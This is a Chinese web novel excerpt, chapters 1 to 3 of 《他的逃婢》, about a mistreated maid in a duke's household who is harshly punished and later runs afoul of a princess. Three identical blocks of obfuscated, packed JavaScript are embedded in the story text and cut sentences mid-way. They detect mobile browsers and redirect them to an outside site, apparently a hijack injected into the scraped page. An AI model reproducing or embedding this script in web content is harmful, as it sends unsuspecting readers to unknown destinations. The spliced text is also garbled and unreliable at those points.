《他的逃婢》 1. 第一章 柳薇捧着一盆热水，慢吞吞走进屋子。床板上坐着一个粉衫女子，名叫春菱，十八岁，她平常都管人叫一声姐姐。 春菱挑起眼皮子瞅柳薇：“让你打个水，这么磨蹭。还不快放下，一直端着是想让我洗冷水脚吗？” 搬来这屋子将近三个月，春菱隔三差五摆脸子，即便如此，柳薇仍然不能习以为常。她放了盆，道：“春菱姐姐还有事吗？没有的话，我还得去杨嬷嬷那儿帮着糊窗子。” 春菱伸脚进热水里，水温倒是不烫脚。“大黑天的，你是闲的？你要实在闲，就在这等着我洗完，把水给我倒了。” 比起被春菱吆喝来吆喝去，柳薇宁愿去给杨嬷嬷搭把手。她笑一笑，准备走了：“我先出去了，水的话，就姐姐你自己倒一下吧。” 春菱叫不住她，翻个白眼，嘀咕：“这死丫头，越发能耐了。” 到了地方，杨嬷嬷倒也没过分差遣柳薇，单使唤她递个东西什么的。 糊好了两间房的窗户，杨嬷嬷领她进屋，招手示意她去桌子边坐下，那桌上搁着碗里两个白面馒头，和一盘青菜炒豆芽。 杨嬷嬷说：“晚上吃饭的时候没看见你人，猜着你又叫春菱那丫头招揽过去端茶送水了，我就留了这点吃的。小小年纪的，还长身体呢，有一顿没一顿的怎么行？快吃吧。” 这偌大的国公府里，也只有杨嬷嬷看得起柳薇了。她道了声谢，拿起馒头啃食起来。 杨嬷嬷一边叫她慢点吃，仔细噎着，一边唉声叹气道：“你也是老实的，来府里好几个月了，怎么还不机灵点，就任由她们使唤你？都是下人，那春菱又不是主子跟前得脸的，她指使你，你不应就完了。孩子，你总得硬气点啊。” 柳薇吞下最后一口馒头，缓了缓，抿嘴道：“她是府里的老人了，大家都和她关系好，我如果不听她的，我往后更不好过了。”柳薇左手抠着右手，“我只想闷头干活，不想招惹是非。” 初来乍到的时候，柳薇又不是没反抗过，可春菱厉害，联合起其他人欺负她——白天指派她干最苦最累的活儿，晚上擅自翻她的包袱，看见包袱里寒酸得只有几件换洗的衣裳，嗤之以鼻，指着她大肆嘲笑……渐渐地，她成了锯了嘴的葫芦，人家打她，都不知道哭一声的。 这府里，上上下下上千口人，正经主子不过十几二十个，剩下的全是奴仆，今儿这个想巴结太太小姐，明儿那个盘算爬上爷儿们的床……处处是勾心斗角。 那柳薇，被卖进来的时候，一张脸生得又白又嫩，身段窈窕，妥妥是美人的底子。春菱自己就是个花枝招展的，乍然新来了个年纪更小的、模样更俊的，哪里能容得下她，这才伙同他人欺凌她。偏她是个懦弱木讷的，挨了不公也只知道憋在心里。 杨嬷嬷很喜欢柳薇这孩子，实在担心她沉闷的性子在这龙潭虎穴里摔碎了骨头，便处处想着提点她，好比当下，接着她的话说；“你只想闷头干活，是为了什么？不是为了攒几个钱，为自己傍身？既然这样，你就应该学着别人，察言观色，争取在主子面前露露脸，万一有机会去主子跟前侍奉，那以后就有保障了。” 杨嬷嬷当即指了条明路：“咱们家老太太，吃斋念佛，慈悲为怀，最是喜欢你这般眉清目秀的小姑娘。两个月以后老太太八十大寿，肯定要风风光光大办一场的。那时候，你眼尖手勤点，去宴席上倒倒茶摆摆果子的，兴许老太太能注意到你。” 自打进国公府，柳薇不是在外院修剪花草，便是在灶上烧火添碳，慢说德高望重的老太太，就是老太太身旁体面的大丫鬟也瞧不着。杨嬷嬷给她支这个招，她细想想，有些发怵，摇摇头道：“在宴席上布菜添茶的营生，自有各房有头脸的姐姐们照应，轮不到我抛头露脸，我尽管做好我的分内之事就阿弥陀佛了。” 怕杨嬷嬷再劝，柳薇起身告辞了。 秋风萧瑟，柳薇穿得单薄，搂着肩膀匆匆回到下房。 春菱早睡了，屋里黑漆漆的，柳薇点了盏小灯，出来去灶上烧了热水，提着水桶才出来，远远地听见后边路上有人在说话： “爷，走这边。” “嗯……” “西南打了胜仗，大家都高兴，大吃大喝的，可您向来不胜酒力，吃一两杯意思意思就完了，何必一个一个受他们敬酒，结果现在头晕目眩的……” “难得高兴，醉了也无妨。” 话音越来越近，柳薇看见一个人扶着另一个人的胳膊，穿着不凡，再结合刚刚那话里的称呼，一下子明白是遇上哪位主子了。 柳薇不想招摇，忙忙退到墙根底下，放下桶来，卑躬屈膝，低眉顺眼，恭送二人离开。 旁边暗地里埋头站着个丫头，东良有所留意，奇怪道：“夜深了，你怎么还在外面逛？” 国公府规矩森严，有宵禁，此刻已在宵禁的时辰，这小丫头还在外头，鉴于几年前有丫鬟半夜溜出来，和小厮私会，最后还整出孩子的先例，东良很难不疑心柳薇有鬼。 柳薇不敢瞒哄，低着头，谨小慎微地说：“我晚上干活干得迟了，想回去洗把脸，屋子里又没热水，只好来灶上烧一些……” 柳薇人缘不好，堪堪一个杨嬷嬷肯正眼瞧她，但杨嬷嬷上了年纪，记性差，私下叮嘱了一圈国公府的规矩，却独独把国公府有宵禁，若违反，会受重罚这条给漏了。 柳薇浑然不知，眼前只天真地以为自己老老实实地站着等待主子离开，就万事大吉了。 东良果然看见她右手边搁着一桶水，还冒着热气；而她表现得老实巴交的，东良也没忍心难为她，只叫她赶紧拎了水回去，然后扭头堆笑对主子解释：“爷，是个小丫鬟，对府里规矩不熟，我已教训过了。爷，我这就扶您回屋吧。” 他们不先走，柳薇也不敢抢路，只屏住呼吸竖耳听着。 终于，那位爷低低地“嗯”了一下，可紧接着的话给了她当头一击：“来了国公府却不熟悉国公府的规矩，更应该重重处罚了。”柳薇感受到了头顶的一瞥侧目，“杖打四十，然后每日跪在此处，高声诵读府规两个时辰，为期一月。” 四十棍棒，还是一个浑身没二两肉的小姑娘，即便最后喘着一口气，那也残废了。 柳薇吓破了胆，扑通一下跪倒，本能地磕头求饶：“奴婢知错了，求求爷饶奴婢一命……” 柳薇罪不至此，东良是个好心肠，替她求情：“爷，小人看这丫头，年纪不大，瘦骨嶙峋的，四十棍子下去，恐怕死了……爷，留她一条命吧！” 男人一个侧目，声音没有一丁点温度可言：“府里的规矩，人人都要遵守。我今日饶了她，岂不是告诉其他人，可以为非作歹？” 东良深知，再不知好歹上去求情，触怒了这位爷，保不齐连自己也要搭进去，便没敢再多嘴，忙转头喝令柳薇叩头谢恩。 是的，罚了她还得她磕头谢恩，这便是这位爷的威严。 柳薇连叩三个头，同时热泪盈眶，却慑于主子威严，纹丝不敢动弹，只伏在地面上。 要处罚，那就得明确身份，因此东良问：“你叫什么名字，在哪个院当差的？” 柳薇含泪答了。 东良了然： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125163|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “今儿晚了，明儿一早，你自己去前院领罚。” 柳薇唯唯诺诺。 终于，人走了。 柳薇慢慢直了脖子，泪眼朦胧间，却见那两人直直地往西北方向去了。她端的一激灵，西北方只有一个院子，是萧国公的居所…… 越思量，背后越凉飕飕的，柳薇不敢多待，紧忙提起桶，逃也似的离开。 一路上，脑子里全是私底下从别人口中听来的，有关萧国公萧绝的事迹：庶子出身，自小力争上游，终究取得老国公的青眼相加，于临终前将偌大家业托付给他。后来，对内严明治家，从上到下，没有一个人胆敢出幺蛾子的；对外则有勇有谋，深得帝心，先皇宾天之际，对他托孤，至今两年，一人之下，万人之上。最惊世骇俗的是，他位极人臣时，也不过才二十二岁。 怨不得出手如此无情，一上来就要她的小命，原来是撞上那位活阎王了…… 柳薇擦了把脑门上的冷汗，哆哆嗦嗦回了住处，就在外头倒了水洗漱。 彼时春菱起夜，瞅她半湿着额发在门口杵着，扯嘴冷笑：“三更半夜的，你上哪去了，鬼混到现在才回来？” 柳薇惊魂未定，随口敷衍了句，便绕开春菱进了屋子。 春菱急着如厕，顾不上挤兑她。待洗手回屋，见她裹着被子直着身子仰躺，脸色白得跟死人似的，春菱觉得晦气，收起骂她的意思，钻回被窝睡了。 不多会，屋里响起了呼噜声。春菱睡得香甜。 柳薇翻了个身，面朝里，心里尽是明日的四十大板。 她是见过别人挨罚的：人趴在长长的板凳上，粗实的棍子敲在人身上，一下赛一下响亮。人起先还有力气哭嚎求饶，十几板子下去，就开始没声了；进行到最后，人都是晕着被抬出去的，没有个把月，好不利索。 往日是看别人鬼哭狼嚎，殊不知，明天就轮到自己了。 背脊生寒，柳薇拽起被子遮住脸，泪流满面。 她想家了，准确来说，是想阿娘了。 从记事起，她爹便是青楼赌坊的常客，家里虽有几间铺子，每年收上来的银子，通通成了他挥霍的资本。后来又染上了酒瘾，不分昼夜将自个儿灌得烂醉如泥。及摇摇晃晃回家来，要么对她娘吆五喝六，要么数落她是个丫头片子、赔钱货。 慢慢地，家里的买卖入不敷出，混账爹却沉迷于那花花世界无法自拔，起先是管亲戚们四处借钱，借不出来了，就改为向赌坊借。窟窿越来越大，他兑了铺子出去，仍然还不上债，就打上了她和她娘的主意——她满十六，她娘也不过三十有三，母女俩都生得漂亮，在人牙子那儿是抢手货，若卖给哪个大户人家做小妾，能得不少钱。 人牙子来相看那日，柳薇抵死不从，险些一头撞死。混账爹没法子，只揣了城东钱员外家出的一百两，那是买她娘做九姨娘的钱。 又过了三天，混账爹为柳薇找好了下家，既然不肯做妾，那么攀个尊贵人家为奴为婢，也是个不错的选择。于是乎，就有了今日的她。 当时混账爹数完钱，伸手比了三根手指，说：“才三十两，远够不上我养你这么大的花销。”那个画面，柳薇毕生难忘。 彼时遭亲生父亲买卖，此时遭主子往死里处罚，还必须磕头感激……原来，一个活生生的人，可以这么贱。 她如履薄冰都小命难保了，那阿娘，委身于那么个老头子，该有多绝望啊…… 她不能轻易死了，她一定要挺过来，要省吃俭用攒钱，把阿娘赎出来。 胡思乱想着，柳薇昏昏睡了过去。 2. 第二章 四更天，柳薇爬起来，先去把灶暖了，烧好给各院主子使的热水后，抬头一看天，天边已泛白，卯时有了，该上前院领罚了。 柳薇脚程很快，她不敢耽误，这四十板子已经够她悔青肠子的了，如果因为自己磨磨蹭蹭，再触怒那位爷，他稍动动手指头，就能把她抿得魂飞魄散……她不想死，更不能死，她的亲娘还在那户人家含泪受辱，苦等她去解救呢。 国公府的规矩，惩罚内宅的丫鬟，都在二门外的过道上，可柳薇寻了过来，却被推搡到了外院，有男有女，竟还有几岁大的哥儿姐儿，全站着准备看她挨打。 萧绝是要杀鸡儆猴。 一个小厮喝令她趴到长凳上，她照做。紧接着，左右依次落下板子，一下一下敲在她腰部以下。 真疼，疼得她喉咙里反上来一股血腥味，喊不出一点声，只是拿手指甲死死抠住凳子边沿，咬牙祈祷四十个数数得快些，再快些。 围观的人里，一部分在唏嘘，并暗暗发誓，以后不管发生什么，绝对不在宵禁的时候出去； 一部分在得意，柳薇大半夜出去正好就撞上国公爷了？谁信呐！肯定是她想攀龙附凤，趁月黑风高的时候勾引国公爷，不想国公爷不吃她那套。她属于是偷鸡不成蚀把米，挨多少打都活该； 余下一小部分，是各房的几个哥儿姐儿，他们见过打人，但没见过打得这么狠的，拉着各自的乳娘问柳薇犯了什么错，为什么下手这么狠？乳娘吓得忙捂他们的嘴，低声道：“可不敢乱说。国公爷要罚谁，都占理。即便打死了，那也是挨打的那人不知死活，谁让她不长脑子，禁令摆在那里不晓得遵守，又不长眼睛，冲撞了最不应该冲撞的。” 乳娘们口径一致，各位哥儿姐儿听在耳朵里，尽闭了嘴，静悄悄的。偏是三房的二姐儿又扯了扯自己乳娘的袖子，咬着嘴巴说：“可我看她，趴在那一动不动了，声音也没有了，她不会是……” 乳娘望过去，果然，柳薇伏在长凳上，两条胳膊直直垂了下来，一声不吭。 而她身后板子持续落下，打一下数一个数：“三十八，三十九，四十——”两个小厮住手，互相看了一眼，其中一个说：“没动静了，该不会是死了吧？” 另一个绕到柳薇前面，先叫了几次，见没反应，就上手推了两把，仍然没反应。 一个说：“试一试鼻息，看有气儿没，不行就快去禀报韩大管家。” 那个探出手指，试了好一阵，面色一松：“出着气儿呢，没死。” 两人松了口气，另弄块木板，把人移到上面，抬着往她住处而去。 这时杨嬷嬷才敢走出来，追在柳薇身边，一边忍泪一边唤她：“小柳，你能听见我说话吗？” 柳薇是听得到的，然而身上好似叫大石头砸下来碾过般，呼气疼，吸气疼，简直生不如死，根本无力回应杨嬷嬷。 杨嬷嬷又道：“快到地方了，小柳，你撑住。” 柳薇在心里应了声。 一路舁至门口，春菱打外边进来，她才被大夫人，也就是萧绝的嫡母，叫去跑了个腿，错过了这场热闹，现下倒撞上。瞥瞥板子上死鱼一样的柳薇，她拿手挡在鼻端，嫌弃而幸灾乐祸道：“打那歪心思，活该。现在留着一口气，是你福大命大。” 春菱同样认为柳薇是算计着萧绝昨晚赴宴，回来晚，所以大半夜刻意跑出去，意图攀附萧绝的。 说完，春菱抢路进屋。 杨嬷嬷不理春菱，请小厮把柳薇舁到她床铺跟前，杨嬷嬷才好挪她。 花了一炷香倒腾，春菱始终冷眼旁观，末了嘲讽道：“这回下来，她名声都臭了，亏你老还愿意帮衬她。” 柳薇伤在背面，只能趴着，趴久了指定不舒服，杨嬷嬷因往她胸脯底下塞了个枕头，让她用胳膊抱着。完了才接话：“小柳今儿这顿打，是怎么来的，兴许旁人不清楚，我可清楚，你也清楚。” 春菱尖着嗓子质问：“什么叫我清楚？她自己挨打受罚，那是她不守本分，反怪上我了？真好笑！” 杨嬷嬷盯着她看了会，道：“她每天起早贪黑的，伺候完主子，还得伺候你，你不念着也就罢了，她辛辛苦苦存的几个钱，你还夺了去。你也真是做得出来。” 春菱理直气壮道：“谁刚进来的时候，不是这样过来的？照你说的，她今儿半死不活，追究到底，最应该怨的，是国公爷了？我看你是老糊涂了吧！” 冷不提防地，门外进来个人，竟是韩东良，唬得春菱忙忙变了副嘴脸，堆满笑迎上去问候：“韩大管家，您来也不提前通知一声，我好备茶水招待您。” 反观杨嬷嬷，不卑不亢，立在原地冲东良点了点头，只管等他说事。 “刚才你说了些什么，再说一遍。”东良冷冷瞧着春菱。 春菱犟嘴：“我……并没说什么，就是和杨嬷嬷闲聊而已，想来是您听岔了吧……” 东良道：“闲聊，聊到国公爷头上去了，你倒是有本事。你来府里很几年了，不会不懂规矩——你自己说，妄自议论主子，应怎么责罚？” 春菱依然狡辩自己没有妄议主子。东良喝止她，摆手道：“得了，我懒得跟你废话，你现在就去廊下，自己掌嘴三十。” 国公府规定，私议主子，掌嘴三十。 东良是府里的大管家，比有些主子辈的更体面，春菱不得已，拖着脚步出去，跪在廊下，起手自扇嘴巴子。 过往下人纷纷驻足，投来好奇的目光，真真儿把春菱羞得无地自容。 料理了春菱，东良回归正题，问杨嬷嬷：“她怎么样了，醒了没有？” 杨嬷嬷实话实说：“刚刚睁了眼，可伤太重了，说不了话。” 东良颔首，示意外面的候着的府医入内，吩咐为柳薇诊治，这是萧绝特别交代的——“派府医过去看。等治好了，看她还长不长记性。” 东良惦记着柳薇，便携府医前来。 府医把完脉、看过伤势，表面看着血肉模糊的，十分骇人，实际上板子打得很巧妙，冲着不伤及筋骨的目的下的手，奈何柳薇身体过分瘦弱，仍然伤到了筋骨。 最后，府医开了内用外服的药，叮嘱每日按时用着，平时也仔细休息，一旦马虎，极有可能落下病根。至于多久能痊愈，全看她怎么养护，幸运的话，两三个月。 总归没闹出人命来，东良心中踏实多了，扭头对杨嬷嬷说：“你适才说，春菱经常欺负柳薇，我听见了。乱糟糟的，成什么样子。这样吧，待会我让春菱搬出去，你搬过来，照顾着点她。” 柳薇的年岁，和杨嬷嬷孙女相当，杨嬷嬷格外疼惜她，并没有意见，当天晚上就在此安顿下来。 临睡前，杨嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125164|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷喂柳薇喝了药，又拿上外敷的，给她使，期间不断问她疼不疼。柳薇隐忍到几乎咬碎了一口牙，却微末地摇了摇头，艰难地挤出两个字：“还……好……” 她越坚强，杨嬷嬷越心疼，连连叹息，最后感慨：“竟不知你是怎么挺过来的。要是你爹娘看见了，心都碎了。” 柳薇暗自道：只有我娘为我痛心，那个混账爹，收了银子，哪里还管我的死活？ 伏在床上小半个月，伤势略轻了些，柳薇就换成侧卧的姿势。 每每注视着杨嬷嬷为自己忙前忙后的光景，柳薇心中万分感动，哽咽道：“嬷嬷为什么对我这么好？” 天底下，除了阿娘，单剩杨嬷嬷肯掏心掏肺待她了。 杨嬷嬷拿了帕子，轻轻擦干她眼角泪水，笑道：“你是个好孩子，值得人坦诚相待。”说时回头绞了湿手巾，伸到她面前，“来，闭上眼，擦干净脸，就睡吧。” 卧床满一个月那天，东良喊杨嬷嬷拿来一堆人参燕窝之类滋补气血的药材，可把柳薇惊了一跳，忙问：“这是韩大管家给的吗？给我的吗？” 杨嬷嬷道：“我才刚也问了和你一样的问题，你猜韩大管家怎么说？”杨嬷嬷一拍手，“韩大管家是征求了咱们国公爷的许可，才叫我上库房领来的！” 柳薇难以置信：“国……公爷？” 萧绝亲自下的令，将她打个半死，居然会施舍她如此名贵的药材滋补身体？她怀疑是自己躺久了，躺得耳朵也出毛病了。 杨嬷嬷说：“就是国公爷准的。韩大管家与我说，国公爷这段日子不在家里，进了宫，昨儿一得闲回来，他就向国公爷请示拨给你些珍贵药材。这不，国公爷同意了，今儿就拿过来了。太好了，有了这些吃着，年底之前，你肯定能好。” 提起那时，东良十足捏了把汗，为一个犯了错的丫头，请求只有府里老祖宗有资格享用的补品，东良着实担心萧绝把他踢出门外。 萧绝也确实没好脸色，掀起染着疲色的眸子，道：“你屡屡为那个婢子出头，合着你是瞧上她了？” 东良紧忙辩解：“爷这可误会小的了！是那丫头，忒弱了，一直不见好转……下个月就是老太太的寿诞，喜气洋洋的日子，万一那个丫头熬不过去，多晦气？岂不是毁了老太太的大日子……” 这府里，萧绝唯独敬重他祖母。故而没再刁难东良：“算她运气好，沾了老祖宗的光。你且开开库房，各种药材管够，让她早点养好，早点滚回去当差。” 托源源供应着的珍稀药材的福，卧床的一个月半月后，伤处全然长好，柳薇可以下地走动。 杨嬷嬷白天要干活，顾不上管她，她一个人扶着墙，慢吞吞地走。开始没走两步就疼得动弹不得，唯好倚着墙根缓上许久，等疼劲儿过了，再咬着牙乌龟爬似的继续走。 柳薇想尽快好起来，往后的十来天，终日.迫着自己下地锻炼。功夫不负有心人，距离老祖宗过寿的三天前，终于来去自如。 当天，杨嬷嬷拜托东良请了府医来看，确定身体恢复如常，柳薇喜极而泣，抱着杨嬷嬷不停道谢；杨嬷嬷则摸着她的头，嘱咐以后万事当心，千万别像这次一样，把自己搞那么狼狈了。 柳薇道：“嗯，我至死也忘不了了。” 今后只管埋头苦干，努力攒钱，一定一定离萧绝远远的。 3. 第三章 老祖宗寿辰日，柳薇三更天就起来去了灶上，生火添炭烧水。今儿有正经使用热水的时候，她忙得是不亦乐乎。 忙碌到天亮，柳薇又被指派去外院布置桌椅，到中午开宴要用的。谁知遇上了春菱，她和柳薇共抬一张桌子，两人面对面。 东良让春菱搬走以后，柳薇一直在养伤，几乎没出过门，当然也没再见过她。距今两个月，冷不丁碰上了，柳薇扯出笑脸同她打招呼：“春菱姐姐，没想到你也在这帮忙。” 春菱看见她就来气，当时要不是因为她，东良怎么会喝她到游廊底下，对着来来往往的人自抽嘴巴子，而颜面扫地？现在又装得和个没事人一样，笑嘻嘻跟她搭话，恶心谁呢！ 大庭广众，旁边还有管事婆子监督，春菱不敢造次，只阴阳怪气道：“这才几天呀，你倒是生龙活虎的了，你还真是命大。” 柳薇也不傻，听得出她的讽刺意味。才捡回一条命来，她不想惹是生非，宁愿和从前一样忍耐。于是笑了笑，装傻充愣：“上次挨打，是我活该。后来并不是我命大，是国公爷大发慈悲，愿意留我一条命，我自是感激不尽。” 她们抬的是最后一张桌子，按照指挥将桌子放好，又跟随其他人去库房搬椅子。 春菱同路，趁管事的不注意，讥讽柳薇：“嘴上说得谦虚，实际上心里得意得紧呢吧？以前是我小看你了。不过你也别高兴太早，国公爷是什么身份，你是什么身份，能瞧得上你？这次饶你活着，下次可就不一定了。你呀，趁早打消那点子痴心妄想。” 春菱或许有攀权附贵的野心，柳薇却一定没有。她一心想做好自己的分内之事，在这国公府有一席之地立足，好好攒钱，早日赎出阿娘。 “多谢春菱姐姐提点。我绝没有痴心妄想。现在没有，将来也不会有。”淡然中带着笃定。 言下，管事的瞥了过来，训斥她们俩：“话怎么那么多？别人都静悄悄的，独你们俩咕唧不停，是不是嫌活儿太少、太清闲了？” 春菱悻悻的，咽下挤兑柳薇的话语。 安置完毕桌椅，更精细的营生，便轮不到柳薇这等粗使丫头上手了，她又被安排到伙房打下手。杨嬷嬷也在。 碗碟叮叮当当的碰撞声中，杨嬷嬷问她：“我过来的时候，望见你和春菱一起。春菱那丫头是不是又说难听话，刁难你了？” 柳薇从大水盆里捞上来洗干净的盘子，小心翼翼转移到旁边大竹筐里。接着杨嬷嬷端起竹筐，送到灶台上，立时有其他婆子用它们盛菜。 杨嬷嬷折返，蹲下来继续陪柳薇洗刷碗碟。这时候听见柳薇说：“没有，大家顾着干活，一边还有管事的盯着，都不敢乱说话。” 杨嬷嬷道：“她就是欺软怕硬，遇上更厉害的，就低眉顺眼的了。横竖她现在不和你一块住，干活也不在一起，平时碰不上。即便偶然碰上了，你别理睬她就是。” 柳薇答应着。 杨嬷嬷又道：“对了，今天府里阵仗大，宫里的皇子公主也来了，”杨嬷嬷忽然往她面前凑了凑，压低声音，“听说敬和公主也要来捧场。我提醒你，你不要乱跑，那位公主殿下不是好伺候的，当心不走运，冒犯了她，可不是耍的。” 论起敬和公主来，那来头可大了——先帝的九公主，当今小皇帝的小姑姑；又因当年萧绝是八皇子，即现今成王的陪读，每日出入宫闱，这位九公主便和萧绝有一段情分，姑且算是青梅竹马。 据说，先帝在世时，有意招萧绝为驸马，但萧绝以只拿敬和当作妹妹为由，拒绝好意。敬和下不来台，从此记恨上了萧绝，与之断绝来往，于今四年有余。却不知为什么，从去年开始，再度和他联络起来。 他们这段陈年旧事，柳薇一无所知。不过杨嬷嬷既特意告知，她便放在心上，点点头：“知道了，嬷嬷。” 话说敬和姗姗来迟，直接去萧老夫人面前献了礼，说了几句吉祥话。期间萧绝伫立在侧，神情平静如水。敬和看了，心中不爽，形于色。 萧老夫人拉这敬和的手，笑眯眯道：“好久没见公主了，公主近来可好？” 萧老夫人一向待敬和很好，纵是那四年同萧绝闹得难看，她也没忘记多多打发人探望萧老夫人。敬和乜斜一眼萧绝，话里有话：“我倒是挺好的，就是有些人似乎不太好，大约是不太欢迎我吧。” 话音刚落，东良便轻手轻脚进来，对萧绝低语道：“爷，恭王到了，正在偏厅，说是要跟您弈棋。” 恭王，排行老二，当年储君的有力的竞争人选，可惜直至太子继承大统，也未能撼动得了太子的地位。 登基以后，先皇膝下子嗣单薄，接连几个皇子夭折，到最后只剩下个七岁的小儿子，紧急之下扶上宝座，托孤于萧绝，这才有了他现今只手遮天的光景。 萧绝呼风唤雨，恭王不得不处处恭维，并恭维得恰到好处，萧绝挺受用的，不介意和他做做戏。 萧绝颔首，随即向萧老夫人说：“我先去待客，祖母倘若有什么事，吩咐下人就好。” 萧老夫人体谅他，欣然道：“我这里一切都好，不用操心我，你自便吧。” 萧绝昂首阔步而去，连个招呼也没和敬和打，敬和十分扫兴，与萧老夫人叙了几句闲话，就告辞出来。 敬和喜爱猫猫狗狗，府里豢养着一大群宠物，其中最喜欢一只大胖白猫，取了名叫雪团，今天出门也抱了过来。 敬和伸手管婢女怀里接过爱宠，一边摸它脑袋，一边郁闷道：“待的哪门子客？再有尊贵的客，能尊贵得过我？分明就是躲着我呢。” 贴身婢女秋云转移话题：“听闻这府里后园子里新建了个花房，遍是奇花异草。公主，要不要去看一看，顺便散散心？” 敬和答允：“那就去吧。” 半道上，敬和抱猫抱得胳膊酸，打算塞给秋云，未料一个没防住，猫一蹬腿从臂弯里跳了下去，蹿没了影儿。 敬和当即指示：“快找去！” 同时发动国公府里路过的下人一块找。她贵为公主，下人们哪敢违逆，纷纷搁置手头的活计，分散开来寻觅。 众人循着猫奔走的方向追寻，怎奈国公府四通八达，找来找去，竟不知所踪。 受了萧绝的冷落，敬和心情本来就差，现在猫生生丢了，胸口越加堵得慌。 怕什么来什么。 即将开宴，灶上一个婆子喊肚子疼，火急火燎去如厕，结果迟迟不见回。今天这么盛大的场合，宾客云集，各处都忙得脚打后脑勺，尤属伙房忙乱，缺不得一个人，况且那婆子是主要备菜的。 在场的，柳薇年纪最小，眼神好腿脚好，还派不上多大的用场，就着她出来寻那婆子。 伙房四周，不设净房，要解决，唯有绕去最近的后园子。柳薇心里有盘算，小跑着朝那里去。 敬和等人拦在路上，柳薇忙忙刹住脚步。她不认识敬和，单观察敬和的装束，就知其身份非同寻常，故不敢怠慢，低头将要行礼问安，遭秋云一巴掌推开，厉声斥责：“哪里来的死丫头，不看路，直直地往人身上扑？” 柳薇下意识替自己解释：“我不是故意……” “你还狡辩？”秋云锐声打断她，“见了公主殿下，不赶紧跪下来请安，训你两句，你还敢顶嘴？一点礼数都没有！” 公主殿下？莫非便是杨嬷嬷口中那位不好伺候的敬和公主？ 柳薇猜疑着，扑通一声跪下来认错，极尽卑微：“是奴婢慌里慌张、有眼无珠……奴婢知错了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125165|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 甭管是不是，她通通得罪不起，还是立即认罪求饶为妙。 她今日，算是倒霉，撞枪口上了——敬和窝着一肚子火气，正愁无处发泄，偏偏她没规没矩地冲上来。于是乎，睥睨着她，冷冷质问：“你是哪里的丫鬟？” 柳薇惶恐却诚实地答：“奴婢是灶上的烧火丫头……” 区区一个烧火丫头，也敢横冲直撞的。看来不仅是萧绝不把她当回事，分明连他家的下人也蹬鼻子上脸了。这还了得！ “光嘴上承认错误怎么够？”敬和的目光扫向柳薇粗糙的双手上，“抬起手，打自己四十个耳刮子，使着力气。若是敢糊弄我，断没你好果子吃！” 秋云逼至柳薇跟前，监督她。 对方是公主，她非惩罚柳薇不可，以柳薇小小一个奴才的身份，除开逆来顺受以外，又能怎么办。 “是……”柳薇慢慢举起手，手心对准自己右脸，预备下手之际，背后传来个人声：“不知这奴才如何冲犯了公主？”语调漫不经心、不辨喜怒。 登时勾起了脑海里的一段记忆——“府里的规矩，人人都要遵守。我今日饶了她，岂不是告诉其他人，可以为非作歹？” 俨然是萧绝。 居然是萧绝！ 他怎么会出现？ ……一定是帮着敬和公主狠狠教训她的。 望着来人，敬和冷笑道：“怎么，你要替我收拾这奴才？” 萧绝却以脚尖踢了踢柳薇右边的膝盖：“说，怎么得罪的公主。” 经历上次的酷刑，柳薇对萧绝畏惧到了骨子里，伏地磕头求饶。 萧绝懒得听这些废话，漠然道：“罢了。你，打哪来的回哪去。” 敬和蹙眉质疑：“你什么意思？” 一时，去如厕的婆子回来，远远地瞭见前面聚着几个人，赫然是敬和公主、萧绝，陡然唬了一跳，手忙脚乱地过去见礼。 柳薇趴在那不动作，既挡路又碍眼，萧绝便命令那婆子：“把她带下去。” 敬和不服气，试图喝止，那婆子早走远了。 敬和怒火中烧，逼问萧绝何意。 “她是我府上的奴才，犯了错，自有家规惩戒，就不劳公主插手了。”萧绝撩起眼皮，闲闲道。 萧绝对人事物有绝对的占有欲，凡是他手底下的，阿猫阿狗也好，奴才也罢，该打该杀，轮不到旁人越俎代庖。 敬和简直难以置信，脱口而出：“你居然维护一个奴才，还是一个对我不敬的奴才？” “哎呀呀，九妹妹，人家吉庆的日子，你怎的横眉竖眼的，多伤和气呀。”有个人从萧绝背后走出来，衣冠楚楚，文质彬彬，正是恭王——恭王同萧绝对弈两盘棋，眼睛有些花，便提议来这后园子转转，凑巧赶上这出闹剧。 敬和向来反感这个见风使舵的二哥，明晃晃白他一眼，拂袖而去。 敬和负气走人，免不得恭王打圆场：“我这个九妹妹，所有人惯着她，都惯坏了。望萧大人不要和她一般见识。” 萧绝道：“无妨。” 刚刚的场面，恭王尽收眼底，不禁好奇柳薇是个什么人，一来让敬和火冒三丈，二来让萧绝亲自出手袒护。便半开玩笑地旁敲侧击道：“九妹那么大人了，跟一个小丫鬟计较。如果不是萧大人及时现身，那小丫鬟不知怎么样呢。” 萧绝深色如常：“一个奴才，不好好做事，成天冒冒失失，处置她亦不算冤枉了她。” “那萧大人为何……？” 